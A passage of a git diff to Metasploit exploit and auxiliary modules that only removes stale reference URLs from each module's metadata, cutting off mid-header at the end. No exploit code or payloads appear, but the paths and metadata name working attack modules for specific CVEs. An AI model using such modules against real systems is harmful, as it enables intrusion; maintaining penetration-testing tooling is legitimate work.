b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb index c3b8fc60cd..321e6274cf 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2008-3996' ], - [ 'OSVDB', '49321'], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-08.shtml'], + [ 'OSVDB', '49321'] ], 'DisclosureDate' => 'Oct 22 2008')) diff --git a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb index 86bf54e60d..94a89cafaa 100644 --- a/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb +++ b/modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2008-3995' ], - [ 'OSVDB', '49320'], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-09.shtml' ], + [ 'OSVDB', '49320'] ], 'DisclosureDate' => 'Oct 22 2008')) diff --git a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb index 98f0146f9e..878c2b01d6 100644 --- a/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_compressworkspace.rb @@ -23,8 +23,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2008-3982'], [ 'OSVDB', '49324'], - [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ], + [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ] ], 'DisclosureDate' => 'Oct 13 2008')) diff --git a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb index 612a13096d..0ae6f375c2 100644 --- a/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb +++ b/modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb @@ -26,7 +26,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2007-5511'], [ 'OSVDB', '40079'], [ 'BID', '26098' ], - [ 'URL', 'http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricsetV2.sql'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2007.html'], ], 'DisclosureDate' => 'Oct 17 2007')) diff --git a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb index 70cdbb48b4..93d6a71e4b 100644 --- a/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb @@ -24,7 +24,6 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2008-3983'], [ 'OSVDB', '49325'], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuoct2008.html' ], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ], [ 'URL', 'http://www.dsecrg.com/pages/expl/show.php?id=23' ] ], diff --git a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb index df6c3edd5f..fac34e6d92 100644 --- a/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb +++ b/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb @@ -22,9 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'CVE', '2008-3984' ], - [ 'OSVDB', '49326'], - [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ], - + [ 'OSVDB', '49326'] ], 'DisclosureDate' => 'Oct 13 2008')) diff --git a/modules/exploits/irix/lpd/tagprinter_exec.rb b/modules/exploits/irix/lpd/tagprinter_exec.rb index 5acd0e4099..b80a21d738 100644 --- a/modules/exploits/irix/lpd/tagprinter_exec.rb +++ b/modules/exploits/irix/lpd/tagprinter_exec.rb @@ -22,8 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2001-0800'], - ['OSVDB', '8573'], - ['URL', 'http://www.lsd-pl.net/code/IRIX/irx_lpsched.c'], + ['OSVDB', '8573'] ], 'Privileged' => false, 'Platform' => %w{ irix unix }, diff --git a/modules/exploits/linux/http/airties_login_cgi_bof.rb b/modules/exploits/linux/http/airties_login_cgi_bof.rb index 20e1387e38..42232de7a8 100644 --- a/modules/exploits/linux/http/airties_login_cgi_bof.rb +++ b/modules/exploits/linux/http/airties_login_cgi_bof.rb @@ -33,7 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['EDB', '36577'], - ['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory ['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC ], 'Targets' => diff --git a/modules/exploits/linux/http/peercast_url.rb b/modules/exploits/linux/http/peercast_url.rb index b501e841af..870ee7fdc1 100644 --- a/modules/exploits/linux/http/peercast_url.rb +++ b/modules/exploits/linux/http/peercast_url.rb @@ -24,9 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2006-1148'], ['OSVDB', '23777'], - ['BID', '17040'], - ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'], - + ['BID', '17040'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 4b97e64211..f645a359fc 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-4828'], ['OSVDB', '77183'], ['BID', '50706'], - ['URL', 'http://bugs.v-cms.org/view.php?id=53'], ['URL', 'http://xforce.iss.net/xforce/xfdb/71358'] ], 'Payload' => diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index f8d475ac63..2ee3d5bb07 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -33,8 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['OSVDB', '85344'], - ['OSVDB', '85345'], - ['URL', 'http://itsecuritysolutions.org/2012-08-12-wanem-v2.3-multiple-vulnerabilities/'] + ['OSVDB', '85345'] ], 'Payload' => { diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index efeb083fc5..33c4fe64af 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2005-3252'], ['OSVDB', '20034'], - ['BID', '15131'], - ['URL','http://xforce.iss.net/xforce/alerts/id/207'] , + ['BID', '15131'] ], 'Payload' => { diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 485e638e2b..9c9fb6bbe7 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -50,8 +50,7 @@ class Metasploit4 < Msf::Exploit::Local [ [ 'CVE', '2009-2692' ], [ 'OSVDB', '56992' ], - [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ], - [ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ], + [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ] ], 'Targets' => [ diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 167e6fda78..a41272c31f 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -31,7 +31,6 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2011-0923'], [ 'OSVDB', '72526'], [ 'ZDI', '11-055'], - [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'], [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux'], [ 'URL', 'https://community.rapid7.com/thread/2253' ] ], diff --git a/modules/exploits/linux/mysql/mysql_yassl_getname.rb b/modules/exploits/linux/mysql/mysql_yassl_getname.rb index 0d680f20df..4df096710f 100644 --- a/modules/exploits/linux/mysql/mysql_yassl_getname.rb +++ b/modules/exploits/linux/mysql/mysql_yassl_getname.rb @@ -47,8 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '37943' ], [ 'BID', '37974' ], [ 'OSVDB', '61956' ], - [ 'URL', 'http://secunia.com/advisories/38344/' ], - [ 'URL', 'http://intevydis.blogspot.com/2010/01/mysq-yassl-stack-overflow.html' ] + [ 'URL', 'http://secunia.com/advisories/38344/' ] ], 'Privileged' => true, 'DefaultOptions' => diff --git a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb index 04bcf198d2..4d77912786 100644 --- a/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb +++ b/modules/exploits/linux/ssh/ceragon_fibeair_known_privkey.rb @@ -40,7 +40,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-0936'], ['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure - ['URL', 'https://hdm.io/blog/2015/01/20/partial-disclosure-is-annoying'] # Related issue with hardcoded user:pass ], 'DisclosureDate' => "Apr 01 2015", # Not a joke 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index da603fe255..4885234c97 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -31,7 +31,6 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-3579'], ['OSVDB', '85028'], ['BID', '55143'], - ['URL', 'https://www.sec-consult.com/files/20120829-0_Symantec_Mail_Gateway_Support_Backdoor.txt'], ['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00'] ], 'DefaultOptions' => diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index bdb3566a42..f265de507b 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '50500'], [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ], [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], - [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ], - [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] + [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ] ], 'Platform' => %w{ linux osx solaris win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index c392ee4558..46be8c7c58 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -41,8 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-3869' ], [ 'OSVDB', '59710' ], [ 'BID', '36881' ], - [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1' ], - [ 'ZDI', '09-078' ], + [ 'ZDI', '09-078' ] ], 'Payload' => { diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index 6f35eb21c4..82bc228e50 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -38,9 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'natron' ], 'References' => [ - [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ], - # list of trusted Certificate Authorities by java version - [ 'URL', 'http://www.spikezilla-software.com/blog/?p=21' ] + [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ] ], 'Platform' => %w{ java linux osx solaris win }, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index e8f5185a65..bf763ea14d 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -41,8 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2006-3677'], ['OSVDB', '27559'], ['BID', '19192'], - ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'], - ['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'], + ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'] ], 'Payload' => { diff --git a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb index 6daccce5c0..35b1b39b40 100644 --- a/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb @@ -45,7 +45,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2014-3996' ], [ 'OSVDB', '110198' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/me_dc_pmp_it360_sqli.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/55' ] ], 'Arch' => ARCH_X86, diff --git a/modules/exploits/multi/http/manageengine_auth_upload.rb b/modules/exploits/multi/http/manageengine_auth_upload.rb index 5d5a78982d..ea739f7e8f 100644 --- a/modules/exploits/multi/http/manageengine_auth_upload.rb +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -35,7 +35,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2014-5301'], ['OSVDB', '116733'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_sd_file_upload.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/5'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 2eff3282dc..885c5052db 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -24,8 +24,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2012-0261'], ['OSVDB', '78064'], - ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], - ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], ['URL', 'http://secunia.com/advisories/47417/'], ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index 7d81071631..d46dd09a10 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -24,8 +24,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2012-0262'], ['OSVDB', '78065'], - ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], - ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], ['URL', 'http://secunia.com/advisories/47417/'], ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb index 88ca6d81f7..16676fc6bd 100644 --- a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -29,7 +29,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2014-6034' ], [ 'OSVDB', '112276' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ] ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index d95a151255..8c3f73bd2c 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -41,8 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote [ "CVE", "2012-3153" ], [ "OSVDB", "86395" ], # Matches CVE-2012-3152 [ "OSVDB", "86394" ], # Matches CVE-2012-3153 - [ "EDB", "31253" ], - [ 'URL', "http://netinfiltration.com" ] + [ "EDB", "31253" ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Platform' => ['win', 'linux'], diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 7a0f6dc859..f4a13ff765 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -32,8 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2011-4075'], ['OSVDB', '76594'], ['BID', '50331'], - ['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'], - ['EDB', '18021'], + ['EDB', '18021'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index c5c990354d..9aa9b8e633 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -113,7 +113,6 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/'] ], 'DisclosureDate' => 'Apr 11 2013', diff --git a/modules/exploits/multi/http/splunk_mappy_exec.rb b/modules/exploits/multi/http/splunk_mappy_exec.rb index 21b6740fd5..c23d9b5a41 100644 --- a/modules/exploits/multi/http/splunk_mappy_exec.rb +++ b/modules/exploits/multi/http/splunk_mappy_exec.rb @@ -35,9 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '51061' ], [ 'CVE', '2011-4642' ], [ 'URL', 'http://www.splunk.com/view/SP-CAAAGMM' ], - [ 'URL', 'http://www.sec-1.com/blog/?p=233' ], - [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/Attacking_Splunk_Release.pdf' ], - [ 'URL', 'http://www.sec-1.com/blog/wp-content/uploads/2011/12/splunkexploit.zip' ] + [ 'URL', 'http://www.sec-1.com/blog/?p=233' ] ], 'Payload' => { diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index da89c49bf2..83a47cb405 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -36,8 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2012-0391'], [ 'OSVDB', '78277'], - [ 'EDB', '18329'], - [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] + [ 'EDB', '18329'] ], 'Platform' => %w{ java linux win }, 'Privileged' => true, diff --git a/modules/exploits/multi/http/struts_dev_mode.rb b/modules/exploits/multi/http/struts_dev_mode.rb index 39999bd92a..856973c841 100644 --- a/modules/exploits/multi/http/struts_dev_mode.rb +++ b/modules/exploits/multi/http/struts_dev_mode.rb @@ -35,8 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0394'], [ 'OSVDB', '78276'], [ 'EDB', '18329'], - [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ], - [ 'URL', 'http://www.pwntester.com/blog/2014/01/21/struts-2-devmode/' ] + [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 0b33577286..4ef79cf5fa 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -32,9 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2010-0361' ], - [ 'OSVDB', '61851' ], - [ 'URL', 'http://intevydis.blogspot.com/2010/01/sun-java-system-web-server-70u7-webdav.html' ], - [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1' ] + [ 'OSVDB', '61851' ] ], 'Platform' => [ 'win' ], 'Privileged' => true, diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index d70066fc28..4a8a64da2c 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -32,7 +32,6 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ ['CVE', '2015-2994'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, diff --git a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb index c43da63a86..2eb0ab33e0 100644 --- a/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-2995' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, diff --git a/modules/exploits/multi/http/vbseo_proc_deutf.rb b/modules/exploits/multi/http/vbseo_proc_deutf.rb index 6c04144401..be7f303cd8 100644 --- a/modules/exploits/multi/http/vbseo_proc_deutf.rb +++ b/modules/exploits/multi/http/vbseo_proc_deutf.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '78508'], ['BID', '51647'], - ['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'], ['EDB', '18424'] ], 'Privileged' => false, diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 44cedf1ed7..71c2f8d6eb 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -33,8 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2011-4451'], ['OSVDB', '77393'], - ['EDB', '18177'], - ['URL', 'http://wush.net/trac/wikka/ticket/1098'] + ['EDB', '18177'] ], 'Payload' => { diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb index 88dc101694..f58aa5b783 100644 --- a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb +++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb @@ -33,7 +33,6 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2015-0779'], ['OSVDB', '120382'], - ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index 4b95b3ec14..1dab5491c3 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -34,7 +34,6 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '84913' ], [ 'EDB', '20168' ], - [ 'URL', 'http://offensivecomputing.net/?q=node/1417'], [ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/'] ], 'Platform' => %w{ unix win }, diff --git a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb index 5048621ac6..b20a74ef78 100644 --- a/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb +++ b/modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb @@ -26,9 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2004-1389' ], [ 'OSVDB', '11026' ], - [ 'BID', '11494' ], - [ 'URL', 'http://seer.support.veritas.com/docs/271727.htm' ], - + [ 'BID', '11494' ] ], 'Privileged' => true, 'Platform' => %w{ linux unix win }, diff --git a/modules/exploits/multi/realserver/describe.rb b/modules/exploits/multi/realserver/describe.rb index 7f09d577a2..c6134b819a 100644 --- a/modules/exploits/multi/realserver/describe.rb +++ b/modules/exploits/multi/realserver/describe.rb @@ -24,8 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2002-1643' ], - [ 'OSVDB', '4468'], - [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'] + [ 'OSVDB', '4468'] ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/multi/vpn/tincd_bof.rb b/modules/exploits/multi/vpn/tincd_bof.rb index 340d2ed580..f519037fed 100644 --- a/modules/exploits/multi/vpn/tincd_bof.rb +++ b/modules/exploits/multi/vpn/tincd_bof.rb @@ -41,9 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2013-1428'], ['OSVDB', '92653'], ['BID', '59369'], - ['URL', 'http://www.floyd.ch/?p=741'], - ['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/'], - ['URL', 'http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-1428'] + ['URL', 'http://www.floyd.ch/?p=741'] ], 'DefaultOptions' => { diff --git a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb index aac7376da6..786a20d57a 100644 --- a/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb +++ b/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb @@ -31,9 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '55839'], ['US-CERT-VU', '654545'], ['URL', 'http://snosoft.blogspot.com/'], - ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'], - ['URL', 'http://www.wyse.com/serviceandsupport/support/WSB09-01.zip'], - ['URL', 'http://www.wyse.com/serviceandsupport/Wyse%20Security%20Bulletin%20WSB09-01.pdf'], + ['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/'] ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/osx/arkeia/type77.rb b/modules/exploits/osx/arkeia/type77.rb index 7934c37aab..45f1f5cd58 100644 --- a/modules/exploits/osx/arkeia/type77.rb +++ b/modules/exploits/osx/arkeia/type77.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2005-0491'], [ 'OSVDB', '14011'], - [ 'BID', '12594'], - [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'], + [ 'BID', '12594'] ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 730b4e025a..5326f8d851 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -27,8 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2003-0722'], ['OSVDB', '4585'], - ['BID', '8615'], - ['URL', 'http://lists.insecure.org/lists/vulnwatch/2003/Jul-Sep/0115.html'], + ['BID', '8615'] ], 'Privileged' => true, 'Platform' => %w{ solaris unix }, diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb 